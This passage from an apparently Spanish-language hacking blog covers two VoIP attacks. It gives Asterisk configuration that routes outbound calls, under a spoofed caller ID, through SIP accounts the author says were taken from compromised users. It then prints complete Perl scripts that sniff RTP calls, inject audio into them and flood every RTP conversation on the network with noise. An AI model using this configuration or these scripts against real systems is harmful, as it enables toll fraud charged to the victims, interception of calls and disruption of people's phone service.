secret=passvulnerable1
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

[proveedor2]
type=peer
context=remoto
host=hostvulnerable2
fromdomain=hostvulnerable2
defaultuser=uservulnerable2
secret=passvulnerable2
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

[proveedor3]
type=peer
context=remoto
host=hostvulnerable3
fromdomain=hostvulnerable3
defaultuser=uservulnerable3
secret=passvulnerable3
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

[100]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

[101]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

Fichero extensions.conf:

[remoto]
exten => s,1,Hangup()
exten => _X.,1,Hangup()

[local]
exten => s,1,Hangup()

exten => 100,1,Answer()
exten => 100,n,Dial(SIP/100)
exten => 100,n,Hangup()

exten => 101,1,Answer()
exten => 101,n,Dial(SIP/101)
exten => 101,n,Hangup()

exten => _X.,1,Set(CALLERID(num)=666666666)
exten => _X.,2,Dial(SIP/proveedor1/${EXTEN}:1,60)
exten => _X.,3,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,4,Dial(SIP/proveedor2/${EXTEN}:1,60)
exten => _X.,5,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,6,Dial(SIP/proveedor3/${EXTEN}:1,60)
exten => _X.,7,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,100,Hangup()

Lo que hemos hecho es, en sip.conf, en la configuración general, hemos añadido:

localnet=192.168.1.0/255.255.255.0 # indica nuestra red local (sólo si nuestro Asterisk conecta desde una red local y necesita el uso de NAT para salir)

register => uservulnerable1:passvulnerable1@hostvulnerable1:5060/uservulnerable1 # registro de un primer usuario en el host vulnerable 1
register => uservulnerable2:passvulnerable2@hostvulnerable1:5060/uservulnerable2 # registro de un segundo usuario en el host vulnerable 1
register => uservulnerable3:passvulnerable3@hostvulnerable2:5060/uservulnerable3 # registro de un primer usuario en el host vulnerable 2

Con esto tenemos creados 3 SIP-trunk con diferentes cuentas. Por otro lado:

[proveedorX]
type=peer
context=remoto
host=hostvulnerableX
fromdomain=hostvulnerableX
defaultuser=uservulnerableX
secret=passvulnerableX
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

Aquí definimos las 3 cuentas (como proveedor1, proveedor2 y proveedor3), con sus usuarios y contraseñas correspondientes, e indicando que el contexto que debe usar en extensions.conf se llama remoto. Además le hemos dejado la posibilidad de realizar 1000 llamadas simultáneas (nunca sabemos cuál es el tope que tiene el usuario).

Por otro lado, en extensions.conf:

[remoto]
exten => s,1,Hangup()
exten => _X.,1,Hangup()

Si nos llama alguien de fuera, directamente colgamos sin atender la llamada.

Y dentro del contexto local hemos añadido:

exten => _X.,1,Set(CALLERID(num)=666666666)
exten => _X.,2,Dial(SIP/proveedor1/${EXTEN}:1,60)
exten => _X.,3,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,4,Dial(SIP/proveedor2/${EXTEN}:1,60)
exten => _X.,5,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,6,Dial(SIP/proveedor3/${EXTEN}:1,60)
exten => _X.,7,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,100,Hangup()

Esto es para sacar las llamadas al exterior y, básicamente lo que ha es intentar salir con el proveedor1, si no lo consigue, prueba con el 2, y así sucesivamente. Para las llamadas al exterior usará como identificador de llamada el número 666666666.

Con esta configuración básica sobra con ir añadiendo cuentas y contextos con cada usuario hackeado que se obtenga. Además según la configuración que tenga cada usuario comprometido en call-limit, en el sip.conf de su Asterisk, podremos realizar más o menos llamadas simultáneas usando esa cuenta. Es decir, si un usuario tiene como call-limit 10, podremos hacer 10 llamadas a la vez usando ese mismo usuario.

Inyectando tráfico RTP en una conversación VoIP

Martes, septiembre 13th, 2011

Hace mucho que no escribía en el blog (últimamente no tengo tiempo ni de rascarme)  y bueno, esta vez toca hablar sobre VoIP.

No es que sea nada novedoso, y ya son bien conocidos los programas rtpinsertsound y rtpmixsound de Hacking Exposed VoIP (http://www.hackingvoip.com/sec_tools.html) que hacen esto mismo, pero hace no mucho leí un artículo muy interesante sobre inserción de tráfico RTP en http://bluelog.blueliv.com/hacking/cuando-la-toip-se-queda-sin-voz/. La verdad es que está curioso el post y se aprende bastante acerca del funcionamiento de los paquetes RTP, aunque a la hora de la verdad, la inserción es mucho más sencilla, puesto que no es necesario ir analizando paquetes para obtener el número de secuencia.

Haciendo uso de las RTPtools (http://www.cs.columbia.edu/irt/software/rtptools/) y de un sniffer de remote-exploit.org (http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz) he creado algunos scripts en perl para analizar e inyectar paquetes RTP.

En realidad, el módulo Net::RTP es capaz de obtener el número de secuencia y mandar nuestro audio continuando con esa numeración, sin necesidad de que tengamos que obtenerlo manualmente.

Comencemos …

rtpscan.pl es un script que monitoriza los paquetes que pasan por nuestro interfaz de red, filtrando aquellos que son RTP e indicándonos el codec usado en la conversación. Su utilidad es interceptar conversaciones RTP:

#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# based in remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz

use strict;
use Net::Pcap;
use Getopt::Long;

my @src;
my @dst;

# Do no buffering - flushing output directly
$|=1;
#declaration of functions
sub f_probe_pcapinit;
sub f_probe_read80211b_func;
sub f_probe_ctrl_c;

# Declarations of global variables
my $g_pcap_err = '';
my $interface='';
my $g_cap_descrip;

# Trapping Signal "INT" like ctrl+c for cleanup first.
$SIG{INT} = \&f_probe_ctrl_c;

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("i=s" => \$interface);

	help() if ($interface eq "");

	f_probe_pcapinit;
}

sub f_probe_pcapinit{
	if ($g_cap_descrip = Net::Pcap::open_live($interface,2000,0,1000,\$g_pcap_err))
	{
		# Initiate endless packet gathering.
		Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
	}
	else
	{
		print "\nCould not initiating the open_live command on $interface from the pcap.\nThe following error where reported: $g_pcap_err\n";
		exit;
	}
};

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack ('H*',$packet);

	if (isrtp($data) && proto($data) eq "17") {
		my $new = 1;
		my $codec = codec($data);

		my $ipsrc = ipsrc($data);
		my $ipdst = ipdst($data);
		my $portsrc = portsrc($data);
		my $portdst = portdst($data);

		for (my $i = 0; $i <= $#src; $i++) {
			$new = 0 if (($src[$i] eq $ipsrc.":".$portsrc) && ($dst[$i] eq $ipdst.":".$portdst));
			$new = 0 if (($src[$i] eq $ipdst.":".$portdst) && ($dst[$i] eq $ipsrc.":".$portsrc));
		}

		if ($new eq 1) {
			print "Protocol: UDP\n";
			print "Codec   : GSM\n" if ($codec eq "3");
			print "Codec   : G.711 (u-law)\n" if ($codec eq "0");
			print "Codec   : G.711 (a-law)\n" if ($codec eq "201" || $codec eq "136");
			print "Codec   : Speex\n" if ($codec eq "225");
			print "Codec   : $codec (desconocido)\n" if ($codec ne "0" && $codec ne "3" && $codec ne "201" && $codec ne "136" && $codec ne "225");
			print "IP 1    : $ipsrc:$portsrc\n";
			print "IP 2    : $ipdst:$portdst\n";

			push @src, $ipsrc.":".$portsrc;
			push @dst, $ipdst.":".$portdst;
		}
	}
};

sub ipsrc {
	my $data = shift;
	$data = substr($data, 52, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub ipdst {
	my $data = shift;
	$data = substr($data, 60, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub portsrc {
	my $data = shift;
	$data = substr($data, 68, 4);

	return hex($data);
};

sub portdst {
	my $data = shift;
	$data = substr($data, 72, 4);

	return hex($data);
};

sub proto {
	my $data = shift;
	$data = substr($data, 46, 2);

	return hex($data);
};

sub isrtp {
	my $data = shift;
	$data = substr($data, 84, 2);

	return 1 if ($data eq "80");
	return 0;
};

sub codec {
	my $data = shift;
	$data = substr($data, 86, 2);

	return hex($data);
};

sub f_probe_ctrl_c {
	# Checks if there is a open pcap handle and closes it first.
	if ($g_cap_descrip)
	{
		Net::Pcap::close ($g_cap_descrip);
		print "\nClosed the pcap allready, the program exits now.\n";
	}
};

sub help {
	print qq{
Usage:  $0 -i <interface>

};

	exit 1;
}

init();

rtpsend.pl es una copia de las rtptools e inyecta un archivo WAV en una conversación que use el codec de audio u-law (G.711) y para ello le tenemos que indicar la IP y puerto destino (datos previamente obtenidos con rtpscan.pl):

#!/usr/bin/perl
# rtptools: http://www.cs.columbia.edu/irt/software/rtptools/

use Net::RTP;
use Time::HiRes qw/ usleep /;
use strict;

my $DEFAULT_PORT = 5004;	# Default RTP port
my $DEFAULT_TTL = 2;		# Default Time-to-live
my $PAYLOAD_TYPE = 0;		# u-law
my $PAYLOAD_SIZE = 160;		# 160 samples per packet

# Get the command line parameters
my ($filename, $address, $port, $ttl ) = @ARGV;
usage() unless (defined $filename);
usage() unless (defined $address);
$port=$DEFAULT_PORT unless (defined $port);
$ttl=$DEFAULT_TTL unless (defined $ttl);

print "Input Filename: $filename\n";
print "Remote Address: $address\n";
print "Remote Port: $port\n";
print "Multicast TTL: $ttl\n";
print "Payload type: $PAYLOAD_TYPE\n";
print "Payload size: $PAYLOAD_SIZE bytes\n";

# Create RTP socket
my $rtp = new Net::RTP(
		PeerPort=>$port,
		PeerAddr=>$address,
) || die "Failed to create RTP socket: $!";

# Set the TTL
if ($rtp->superclass() =~ /Multicast/) {
	$rtp->mcast_ttl( $ttl );
}

# Create RTP packet
my $packet = new Net::RTP::Packet();
$packet->payload_type( $PAYLOAD_TYPE );

while(1) {
# Open the input file (via sox)
open(PCMU, "sox '$filename' -t raw -U -b 8 -c 1 -r 8000 - |")
or die "Failed to open input file: $!";

my $data;

while( my $read = read( PCMU, $data, $PAYLOAD_SIZE ) ) {
	# Set payload, and increment sequence number and timestamp
	$packet->payload($data);
	$packet->seq_num_increment();
	$packet->timestamp_increment( $PAYLOAD_SIZE );

	my $sent = $rtp->send( $packet );
	#print "Sent $sent bytes.\n";

	# This isn't a very good way of timing it
	# but it kinda works
	usleep( 1000000 * $PAYLOAD_SIZE / 8000 );
}

close( PCMU );
}

sub usage {
	print "usage: rtpsend.pl <filename> <dest_addr> [<dest_port>] [<ttl>]\n";
	exit -1;
}

Y rtpflood.pl es una mezcla de los dos anteriores. Lo que hace, básicamente, es interceptar paquetes RTP y luego floodearlos con ruido. En pocas palabras, fastidiar todas las conversaciones RTP que pille en la red, independientemente del codec usado:

#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# based in rtptools: http://www.cs.columbia.edu/irt/software/rtptools/
# and
# remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz

use strict;
use Net::Pcap;
use threads;
use threads::shared;
use Net::RTP;
use Time::HiRes qw/ usleep /;
use Getopt::Long;

my @src;
my @dst;
my $PAYLOAD_SIZE = 160;
my $ttl = 2;
my $maxthreads = 300;
my $threads : shared = 0;
my $interface = '';
my $v = 0;
my $g_pcap_err = '';
my $g_cap_descrip;

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("i=s" => \$interface,
	                         "v+" => \$v);

	help() if ($interface eq "");

	if ($g_cap_descrip = Net::Pcap::open_live($interface, 2000, 0, 1000, \$g_pcap_err)) {
		Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
	}
	else {
		print "\nCould not initiating the interface: $interface.\nError: $g_pcap_err.";
		print "\nAre you root?\n";
		exit;
	}
}

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack ('H*',$packet);

	if (isrtp($data) && proto($data) eq "17") {
		my $codec = codec($data);
		my $ipsrc = ipsrc($data);
		my $ipdst = ipdst($data);
		my $portsrc = portsrc($data);
		my $portdst = portdst($data);

		if ($threads <= $maxthreads) {
			my $thr = threads->new(\&flood, $ipsrc, $portsrc, $codec);
			$thr->detach();
			$thr = threads->new(\&flood, $ipdst, $portdst, $codec);
			$thr->detach();
		}
	}
};

sub flood {
	my $address = shift;
	my $port = shift;
	my $payload = shift;

	{lock($threads);$threads++;}

	if ($v eq "1") {
		print "Flooding host: $address \tPort: $port/UDP \tCodec: ";
		print "GSM            \n" if ($payload eq "3");
		print "G.711          \n" if ($payload eq "0");
	}

	# Create RTP socket
	my $rtp = new Net::RTP(
			PeerPort=>$port,
			PeerAddr=>$address,
	) || die "Failed to create RTP socket: $!";

	# Set the TTL
	if ($rtp->superclass() =~ /Multicast/) {
		$rtp->mcast_ttl( $ttl );
	}

	# Create RTP packet
	my $packet = new Net::RTP::Packet();
	$packet->payload_type( $payload );

	for (my $i = 0; $i < 100; $i++) {
		my $data;

		for (my $i = 0; $i < $PAYLOAD_SIZE; $i++) {
			my $rnd = rand(255);
			$data .= hex($rnd);
		}

		$packet->payload($data);
		$packet->seq_num_increment();
		$packet->timestamp_increment( $PAYLOAD_SIZE );

		$rtp->send( $packet );

		close( PCMU );
	}

	{lock($threads);$threads--;}
}

sub ipsrc {
	my $data = shift;
	$data = substr($data, 52, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub ipdst {
	my $data = shift;
	$data = substr($data, 60, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub portsrc {
	my $data = shift;
	$data = substr($data, 68, 4);

	return hex($data);
};

sub portdst {
	my $data = shift;
	$data = substr($data, 72, 4);

	return hex($data);
};

sub proto {
	my $data = shift;
	$data = substr($data, 46, 2);

	return hex($data);
};

sub isrtp {
	my $data = shift;
	$data = substr($data, 84, 2);

	return 1 if ($data eq "80");
	return 0;
};

sub codec {
	my $data = shift;
	$data = substr($data, 86, 2);

	return hex($data);
};

sub help {
	print qq{
Usage:  $0 -i <interface> [options]

    == Options ==
      -v               = Verbose mode

    == Examples ==
         \$$0 -i eth0
         \$$0 -i wlan0 -v

};

	exit 1;
}

init();

El curro ha sido poco ya que, como he comentado, uno de los scripts está copiado directamente (lo puse porque creo que es interesante y porque lo uso en el otro) y, los otros dos scripts simplemente están adaptados para nuestro propósito.

Saludos